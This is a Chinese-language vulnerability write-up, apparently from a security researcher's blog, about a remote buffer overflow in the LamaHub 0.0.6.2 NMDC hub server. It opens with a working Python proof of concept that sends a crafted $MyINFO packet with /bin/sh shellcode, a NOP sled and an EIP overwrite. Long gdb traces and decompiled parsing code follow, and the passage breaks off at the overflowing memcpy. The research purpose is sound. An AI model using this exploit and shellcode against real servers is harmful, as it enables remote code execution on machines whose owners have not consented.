作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
LamaHub是NMDC协议的一个客户端,NMDC协议主要负责的是P2P客户端服务器交互的一种协议,在LamaHub服务器处理客户端请求的时候,通过构造特殊的NMDC协议数据包,可以导致LamaHub在处理$MyINFO指令请求的时候产生缓冲区溢出,从而远程执行任意代码,下面对此漏洞进行分析。
软件下载:
http://ovh.dl.sourceforge.net/sourceforge/lamahub/LamaHub-0.0.6.2.tar.gz
PoC:
import socket
HOST = 'localhost'
PORT = 4111
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
buf = ""
buf += "\x24\x53\x75\x70\x70\x6f\x72\x74\x73\x20\x55\x73"
buf += "\x6c\x6c\x6f\x20\x49\x50\x32\x20\x65\x61\x72\x63"
buf += "\x68\x20\x5a\x50\x65\x30\x20\x7c\x24\x4b\x65\x79"
buf += "\x61\x7c\x24\x56\x61\x6c\x69\x64\x61\x74\x65\x4e"
buf += "\x69\x63\x6b\x20\x50\x69\x65\x72\x72\x65\x7c\x24"
buf += "\x56\x65\x6e\x20\x31\x2c\x30\x30\x39\x31\x7c\x24"
buf += "\x47\x01\x00\x4e\x3b\x63\x6b\x4c\x69\x73\x74\x7c"
buf += "\x24\x4d\x79\x49\x4e\x46\x4f\x20\x24\x41\x4c\x4c"
buf += "\x20\x50\x69\x65\x72\x72\x65\x20\x4a\x65"
#NEED padding of 96
shellcode = "\x90" *30
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
shellcode += "\x90"*42
print "Shellcode len: "
print len(shellcode)
buf2 = "\x61\x3c"
buf2 += "\x3c\x24\x4d\x79\x80\x00\x35\x24\x70\x69\x24\x30"
buf2 += "\x24\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37"
buf2 += "\x37\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
eip_overwrite = "\x2a\x6a\x06\x08"
#eip_overwrite = "AAAA"
buf3 = "\xd6\x26\x06\x08\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf3 += "\xb1\xb1\xb1\xb1\x37\x37\x30\x2c\x49\x4e\x46\x4f"
buf3 += "\x24\xca\xca\xca\xca\x20\x5a\x50\x65\x30\x20\x7c"
buf3 += "\x24\x4b\x65\x79\x61\x7c\x24\x56\x20\x41\x20\x30"
buf3 += "\x61\x7c\x24\x56\x69\x63\x6b\x20\x50\x69\xca\xca"
buf3 += "\x0a"
# Send EVIL PACKET !
s.sendall(buf + shellcode + buf2 + eip_overwrite + buf3)
s.close()
漏洞复现
首先部署LamaHub,用gdb attach,运行PoC,服务端崩溃,可以查看崩溃时的信息。
gdb-peda$ run
Starting program: /root/Desktop/0.0.6.2/server
> ERROR -> Plugin -> File plugins.conf dont found
> init () -> OK
> started on port -> 4111
> new client -> 127.0.0.1 -> 4
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0
EDX: 0x5
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0
EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8066a27 <buf+39>: push esi
0x8066a28 <buf+40>: popa
0x8066a29 <buf+41>: ins BYTE PTR es:[edi],dx
=> 0x8066a2a <buf+42>: imul esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65
0x8066a32 <buf+50>: imul esp,DWORD PTR [eax],0x50
0x8066a35 <buf+53>: imul esp,DWORD PTR [ebp+0x72],0x247c6572
0x8066a3c <buf+60>: push esi
0x8066a3d <buf+61>: outs dx,BYTE PTR gs:[esi]
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x80626d6 --> 0x0
0004| 0xbffff2c4 --> 0xb1b1b1b1
0008| 0xbffff2c8 --> 0xb1b1b1b1
0012| 0xbffff2cc --> 0xb1b1b1b1
0016| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0020| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0024| 0xbffff2d8 --> 0xcacaca24
0028| 0xbffff2dc --> 0x505a20ca
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08066a2a in buf ()
可以看到,此时程序处于08066a2a地址位置,通过PoC,此时是处于返回地址eip部署的恶意地址,这个是PoC给出的,根据系统可以修改eip地址使其跳转到shellcode,通过bt查看一下堆栈回溯。
gdb-peda$ bt
#0 0x08066a2a in buf ()
#1 0x080626d6 in buf ()
#2 0xb1b1b1b1 in ?? ()
#3 0xb1b1b1b1 in ?? ()
#4 0xb1b1b1b1 in ?? ()
#5 0x2c303737 in ?? ()
#6 0x4f464e49 in ?? ()
#7 0xcacaca24 in ?? ()
#8 0x505a20ca in ?? ()
#9 0x7c203065 in ?? ()
#10 0xbffff308 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
由于NMDC数据包构造的原因,后续堆栈已经被畸形payload覆盖,导致回溯失败,通过正向分析可以找到这个漏洞的成因。
漏洞分析
通过IDA pro分析可以找到两处recv,在LamaHub接收数据的时候势必会调用recv函数,在这两处recv下断点。
gdb-peda$ b *0x08052ef7
Breakpoint 1 at 0x8052ef7
gdb-peda$ r
Starting program: /root/Desktop/0.0.6.2/server
> init () -> OK
> started on port -> 4111
> new client -> 127.0.0.1 -> 4
[----------------------------------registers-----------------------------------]
EAX: 0x4
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0x4
EDX: 0x10
ESI: 0x0
EDI: 0x0
EBP: 0xbffff438 --> 0x0
ESP: 0xbffff3f0 --> 0x4
EIP: 0x8052ef7 (<loop+231>: call 0x8049210 <recv@plt>)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8052eea <loop+218>: push 0x8066a00
0x8052eef <loop+223>: push ecx
0x8052ef0 <loop+224>: mov BYTE PTR ds:0x8066a00,0x0
=> 0x8052ef7 <loop+231>: call 0x8049210 <recv@plt>
0x8052efc <loop+236>: add esp,0x10
0x8052eff <loop+239>: test eax,eax
0x8052f01 <loop+241>: mov ds:0x8062b04,eax
0x8052f06 <loop+246>: je 0x8052f40 <loop+304>
Guessed arguments:
arg[0]: 0x4
arg[1]: 0x8066a00 --> 0x0
arg[2]: 0x3ff
arg[3]: 0x0
发送payload后,程序命中了一处断点,之后单步步过。
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1b1
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0xbffff3f0 --> 0x4
EDX: 0x806c610 --> 0x80670c0 (0x0806c610)
ESI: 0x0
EDI: 0x0
EBP: 0xbffff438 --> 0x0
ESP: 0xbffff3f0 --> 0x4
EIP: 0x8052efc (<loop+236>: add esp,0x10)
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8052eef <loop+223>: push ecx
0x8052ef0 <loop+224>: mov BYTE PTR ds:0x8066a00,0x0
0x8052ef7 <loop+231>: call 0x8049210 <recv@plt>
=> 0x8052efc <loop+236>: add esp,0x10
0x8052eff <loop+239>: test eax,eax
0x8052f01 <loop+241>: mov ds:0x8062b04,eax
0x8052f06 <loop+246>: je 0x8052f40 <loop+304>
0x8052f08 <loop+248>: mov BYTE PTR [eax+0x8066a00],0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff3f0 --> 0x4
0004| 0xbffff3f4 --> 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
0008| 0xbffff3f8 --> 0x3ff
0012| 0xbffff3fc --> 0x0
0016| 0xbffff400 --> 0x0
0020| 0xbffff404 --> 0x0
0024| 0xbffff408 --> 0x3
0028| 0xbffff40c --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08052efc in loop ()
可以看到,此时堆0x08066a00位置接收了数据包并且进行了保存,查看一下这个堆中的内容。
gdb-peda$ x/100x 0x08066a00
0x8066a00 <buf>: 0x70755324 0x74726f70 0x73552073 0x206f6c6c
0x8066a10 <buf+16>: 0x20325049 0x63726165 0x505a2068 0x7c203065
0x8066a20 <buf+32>: 0x79654b24 0x56247c61 0x64696c61 0x4e657461
0x8066a30 <buf+48>: 0x206b6369 0x72656950 0x247c6572 0x206e6556
0x8066a40 <buf+64>: 0x30302c31 0x247c3139 0x4e000147 0x4c6b633b
0x8066a50 <buf+80>: 0x7c747369 0x49794d24 0x204f464e 0x4c4c4124
0x8066a60 <buf+96>: 0x65695020 0x20657272 0x9090654a 0x90909090
0x8066a70 <buf+112>: 0x90909090 0x90909090 0x90909090 0x90909090
0x8066a80 <buf+128>: 0x90909090 0x90909090 0x6850c031 0x68732f2f
0x8066a90 <buf+144>: 0x69622f68 0x31e3896e 0x6aca89c9 0x80cd580b
0x8066aa0 <buf+160>: 0x90909090 0x90909090 0x90909090 0x90909090
0x8066ab0 <buf+176>: 0x90909090 0x90909090 0x90909090 0x90909090
0x8066ac0 <buf+192>: 0x90909090 0x90909090 0x3c619090 0x794d243c
0x8066ad0 <buf+208>: 0x24350080 0x30246970 0x37373724 0x37373737
0x8066ae0 <buf+224>: 0x37373737 0xb1b1b137 0xb1b1b1b1 0xb1b1b1b1
0x8066af0 <buf+240>: 0xb1b1b1b1 0xb1b1b1b1 0xb1b1b1b1 0xb1b1b1b1
0x8066b00 <buf+256>: 0xb1b1b1b1 0xb1b1b1b1 0xb1b1b1b1 0xb1b1b1b1
0x8066b10 <buf+272>: 0xb1b1b1b1 0x2c2c2cb1 0x2c2c2c2c 0x2c2c2c2c
0x8066b20 <buf+288>: 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c
0x8066b30 <buf+304>: 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c
0x8066b40 <buf+320>: 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c
0x8066b50 <buf+336>: 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c
0x8066b60 <buf+352>: 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c
0x8066b70 <buf+368>: 0x08066a2a 0x080626d6 0xb1b1b1b1 0xb1b1b1b1
0x8066b80 <buf+384>: 0xb1b1b1b1 0x2c303737 0x4f464e49 0xcacaca24
0x8066b90 <buf+400>: 0x505a20ca 0x7c203065 0x79654b24 0x56247c61
0x8066ba0 <buf+416>: 0x30204120 0x56247c61 0x206b6369 0xcaca6950
畸形数据已经全被被接收了,接下来单步跟踪。在接收到数据之后,会到达一处调用parse_token,这个主要是负责验证逻辑。
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1b1
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EDX: 0x806c610 --> 0x80670c0 (0x0806c610)
ESI: 0x0
EDI: 0x0
EBP: 0xbffff438 --> 0x0
ESP: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x8052e82 (<loop+114>: call 0x8050cf0 <parse_token>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8052e7b <loop+107>: push eax
0x8052e7c <loop+108>: push 0x8066a00
0x8052e81 <loop+113>: push ebx
=> 0x8052e82 <loop+114>: call 0x8050cf0 <parse_token>
0x8052e87 <loop+119>: add esp,0x10
0x8052e8a <loop+122>: cmp eax,0xffffffff
0x8052e8d <loop+125>: je 0x8052f4c <loop+316>
0x8052e93 <loop+131>: sub esp,0xc
Guessed arguments:
arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)
arg[1]: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
arg[2]: 0x1b1
可以看到这处验证逻辑第二个参数就是畸形payload,接下来分析这处验证逻辑。通过IDA pro查看一下这个函数伪代码。
int __cdecl parse_token(void *a1, char *src, size_t a3)
{
signed __int32 v3; // edx@1
int result; // eax@2
char *v5; // ebp@3
signed int v6; // ebx@3
signed __int32 v7; // ecx@7
char *v8; // edi@15
char *v9; // esi@15
signed int v10; // ecx@17
signed __int32 v11; // ST2C_4@19
signed int v12; // [sp+Ch] [bp-30h]@3
unsigned int n; // [sp+10h] [bp-2Ch]@14
v3 = a3;
if ( *src == 60 )
return proto_state_handler(a1, src, a3);
result = 1;
if ( (signed int)a3 > 0 )
{
v5 = src;
result = 1;
v6 = 0;
v12 = -1;
while ( 1 )
{
if ( *v5 != 36 || v12 >= v6 )
goto LABEL_12;
if ( v3 < v6 )
break;
v7 = v6;
do
++v7;
while ( src[v7] != 124 && v7 <= v3 );
if ( v7 - v6 == -1 )
return 0;
if ( v7 - v6 + 1 <= 1023 )
{
n = v7 - v6 + 1;
v12 = v7;
goto LABEL_15;
}
LABEL_12:
++v6;
++v5;
if ( v6 == v3 )
return result;
}
v12 = v6;
n = 1;
LABEL_15:
v8 = &token_buf;
v9 = v5;
if ( n >= 4 )
{
qmemcpy(&token_buf, v5, 4 * (n >> 2));
v9 = &v5[4 * (n >> 2)];
v8 = &token_buf + 4 * (n >> 2);
}
v10 = 0;
if ( n & 2 )
{
*(_WORD *)v8 = *(_WORD *)v9;
v10 = 2;
if ( !(n & 1) )
{
LABEL_19:
v11 = v3;
*(&token_buf + n) = 0;
result = proto_state_handler(a1, &token_buf, n);
v3 = v11;
if ( result == -1 )
return -1;
goto LABEL_12;
}
}
else if ( !(n & 1) )
{
goto LABEL_19;
}
v8[v10] = v9[v10];
goto LABEL_19;
}
return result;
}
在LABEL_19块中,调用了一个函数proto_state_handler,主要是负责处理协议句柄的,其中涉及到一个token_buf,单步跟踪观察这个proto_state_handler函数调用的传参情况。
[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x0
ECX: 0x0
EDX: 0x1b1
ESI: 0x8066a20 ("$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
EDI: 0x8062720 --> 0x0
EBP: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
ESP: 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x8050ddb (<parse_token+235>: call 0x80551b0 <proto_state_handler>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8050dcb <parse_token+219>: push 0x8062700
0x8050dd0 <parse_token+224>: push DWORD PTR [esp+0x24]
0x8050dd4 <parse_token+228>: mov BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call 0x80551b0 <proto_state_handler>
0x8050de0 <parse_token+240>: add esp,0x10
0x8050de3 <parse_token+243>: cmp eax,0xffffffff
0x8050de6 <parse_token+246>: mov edx,DWORD PTR [esp+0x1c]
0x8050dea <parse_token+250>: jne 0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$Supports Usllo IP2 earch ZPe0 |")
0008| 0xbffff3a8 --> 0x20 (' ')
0012| 0xbffff3ac --> 0x0
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x1f
这个token_buf的内容是$Supports,其实这个主要是NDMC的协议处理,而在parse_token的开始部分,会先处理这个数据包,将数据包内容拆分。接下来直接执行,会第二次到达断点。
[-------------------------------------code-------------------------------------]
0x8050dcb <parse_token+219>: push 0x8062700
0x8050dd0 <parse_token+224>: push DWORD PTR [esp+0x24]
0x8050dd4 <parse_token+228>: mov BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call 0x80551b0 <proto_state_handler>
0x8050de0 <parse_token+240>: add esp,0x10
0x8050de3 <parse_token+243>: cmp eax,0xffffffff
0x8050de6 <parse_token+246>: mov edx,DWORD PTR [esp+0x1c]
0x8050dea <parse_token+250>: jne 0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$Keya|")
继续执行,第三次命中
[-------------------------------------code-------------------------------------]
0x8050dcb <parse_token+219>: push 0x8062700
0x8050dd0 <parse_token+224>: push DWORD PTR [esp+0x24]
0x8050dd4 <parse_token+228>: mov BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call 0x80551b0 <proto_state_handler>
0x8050de0 <parse_token+240>: add esp,0x10
0x8050de3 <parse_token+243>: cmp eax,0xffffffff
0x8050de6 <parse_token+246>: mov edx,DWORD PTR [esp+0x1c]
0x8050dea <parse_token+250>: jne 0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$ValidateNick Pierre|")
0008| 0xbffff3a8 --> 0x15
0012| 0xbffff3ac --> 0x0
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x3a (':')
可以看到每次都获取到|分割线后的内容,接下来直接执行到包含畸形字符串的部分。
[-------------------------------------code-------------------------------------]
0x8050dcb <parse_token+219>: push 0x8062700
0x8050dd0 <parse_token+224>: push DWORD PTR [esp+0x24]
0x8050dd4 <parse_token+228>: mov BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call 0x80551b0 <proto_state_handler>
0x8050de0 <parse_token+240>: add esp,0x10
0x8050de3 <parse_token+243>: cmp eax,0xffffffff
0x8050de6 <parse_token+246>: mov edx,DWORD PTR [esp+0x1c]
0x8050dea <parse_token+250>: jne 0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
0008| 0xbffff3a8 --> 0x144
0012| 0xbffff3ac --> 0x0
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x197
[------------------------------------------------------------------------------]
第二个参数作为畸形字符串传入,其中涉及到指令$MyINFO,就从这里跟入看看函数内部到底发生了什么。
int proto_state_handler (user_t *u, char *data, unsigned int len)
{
switch (u->state) {
case PROTO_STATE_INIT: // new user connected
return proto_nmdc_state_init (u);
case PROTO_STATE_SENDLOCK: // waiting for user $Key
return proto_nmdc_state_sendlock (u, data, len);
case PROTO_STATE_WAITNICK: // waiting for user $ValidateNick
return proto_nmdc_state_waitnick (u, data, len);
case PROTO_STATE_WAITPASS: // waiting for user $GetPass
return proto_nmdc_state_waitpass (u, data, len);
case PROTO_STATE_HELLO: // waiting for user $MyINFO
return proto_nmdc_state_hello (u, data, len);
case PROTO_STATE_ONLINE: // user is avaible now
return proto_nmdc_state_online (u, data, len);
case PROTO_STATE_DISCONNECTED: // user gone out $Quit
return proto_nmdc_state_disconnect (u);
}
进入后会到达一处switch逻辑,这个switch会根据user_t的类型进行判断,根据情况进行处理,在$MyINFO会进入proto_nmdc_state_hello函数。
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x4
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0x0
EDX: 0x1b1
ESI: 0x8066b98 ("$Keya|$V A 0a|$Vick Pi\312\312\n")
EDI: 0x8062844 --> 0x0
EBP: 0x8066a54 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ESP: 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x805534a (<proto_state_handler+410>: call 0x80539e0 <proto_nmdc_state_hello>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x805533b <proto_state_handler+395>: push DWORD PTR [esp+0xdc]
0x8055342 <proto_state_handler+402>: push DWORD PTR [esp+0xdc]
0x8055349 <proto_state_handler+409>: push ebx
=> 0x805534a <proto_state_handler+410>: call 0x80539e0 <proto_nmdc_state_hello>
0x805534f <proto_state_handler+415>: add esp,0x10
0x8055352 <proto_state_handler+418>: add esp,0xc0
0x8055358 <proto_state_handler+424>: pop ebx
0x8055359 <proto_state_handler+425>: pop esi
Guessed arguments:
arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)
arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
arg[2]: 0x144
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff2c4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
0008| 0xbffff2c8 --> 0x144
0012| 0xbffff2cc --> 0x80553a1 (<proto_state_handler+497>: jmp 0x80551fa <proto_state_handler+74>)
0016| 0xbffff2d0 --> 0x1
进入之后会根据$MyINFO内部的内容进行一些处理。比如
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x13
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ECX: 0x7
EDX: 0x6
ESI: 0x8062702 ("yINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
EDI: 0x805ac4b ("$MyINFO")
EBP: 0x0
ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001
EIP: 0x8053a3d (<proto_nmdc_state_hello+93>: mov esi,ebx)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8053a2d <proto_nmdc_state_hello+77>: jbe 0x8053d20 <proto_nmdc_state_hello+832>
0x8053a33 <proto_nmdc_state_hello+83>: mov ecx,0x7
0x8053a38 <proto_nmdc_state_hello+88>: mov edi,0x805ac4b
=> 0x8053a3d <proto_nmdc_state_hello+93>: mov esi,ebx
0x8053a3f <proto_nmdc_state_hello+95>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
0x8053a41 <proto_nmdc_state_hello+97>: seta cl
0x8053a44 <proto_nmdc_state_hello+100>: setb al
0x8053a47 <proto_nmdc_state_hello+103>: sub ecx,eax
[------------------------------------stack-------------------------------------]
0000| 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001
0004| 0xbfffefc4 --> 0xbffff230 ("$Hello Pierre|")
0008| 0xbfffefc8 --> 0xb7e1c21b (<_IO_vfprintf_internal+11>: add ebx,0x162de5)
0012| 0xbfffefcc --> 0xb7f7f000 --> 0x1a5da8
0016| 0xbfffefd0 --> 0xbffff000 --> 0xfbad8001
0020| 0xbfffefd4 --> 0xbffff230 ("$Hello Pierre|")
0024| 0xbfffefd8 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0028| 0xbfffefdc --> 0xb7e3e702 (<__IO_vsprintf+146>: mov edx,DWORD PTR [esp+0x34])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08053a3d in proto_nmdc_state_hello ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x13
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ECX: 0x7
EDX: 0x6
ESI: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
EDI: 0x805ac4b ("$MyINFO")
EBP: 0x0
ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001
EIP: 0x8053a3f (<proto_nmdc_state_hello+95>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8053a33 <proto_nmdc_state_hello+83>: mov ecx,0x7
0x8053a38 <proto_nmdc_state_hello+88>: mov edi,0x805ac4b
0x8053a3d <proto_nmdc_state_hello+93>: mov esi,ebx
=> 0x8053a3f <proto_nmdc_state_hello+95>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
0x8053a41 <proto_nmdc_state_hello+97>: seta cl
0x8053a44 <proto_nmdc_state_hello+100>: setb al
0x8053a47 <proto_nmdc_state_hello+103>: sub ecx,eax
0x8053a49 <proto_nmdc_state_hello+105>: movsx ebp,cl
[------------------------------------stack-------------------------------------]
0000| 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001
0004| 0xbfffefc4 --> 0xbffff230 ("$Hello Pierre|")
0008| 0xbfffefc8 --> 0xb7e1c21b (<_IO_vfprintf_internal+11>: add ebx,0x162de5)
0012| 0xbfffefcc --> 0xb7f7f000 --> 0x1a5da8
0016| 0xbfffefd0 --> 0xbffff000 --> 0xfbad8001
0020| 0xbfffefd4 --> 0xbffff230 ("$Hello Pierre|")
0024| 0xbfffefd8 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0028| 0xbfffefdc --> 0xb7e3e702 (<__IO_vsprintf+146>: mov edx,DWORD PTR [esp+0x34])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08053a3f in proto_nmdc_state_hello ()
这里会对$MyINFO中的$Hello Pierre后的指令进行处理,在后面会对这个内容进行拷贝
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x806c320 --> 0x80670c0 (0x0806c320)
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ECX: 0xb7e65000 (<__strncpy_sse2+3504>: mov DWORD PTR [edi],edx)
EDX: 0x144
ESI: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
EDI: 0x1
EBP: 0x0
ESP: 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
EIP: 0x8053f77 (<proto_nmdc_state_hello+1431>: call 0x8048df0 <memcpy@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8053f6e <proto_nmdc_state_hello+1422>: push DWORD PTR [esp+0x30c]
0x8053f75 <proto_nmdc_state_hello+1429>: push ebx
0x8053f76 <proto_nmdc_state_hello+1430>: push esi
=> 0x8053f77 <proto_nmdc_state_hello+1431>: call 0x8048df0 <memcpy@plt>
0x8053f7c <proto_nmdc_state_hello+1436>: add esp,0xc
0x8053f7f <proto_nmdc_state_hello+1439>: push 0x0
0x8053f81 <proto_nmdc_state_hello+1441>: push 0x8
0x8053f83 <proto_nmdc_state_hello+1443>: push DWORD PTR [esp+0x30c]
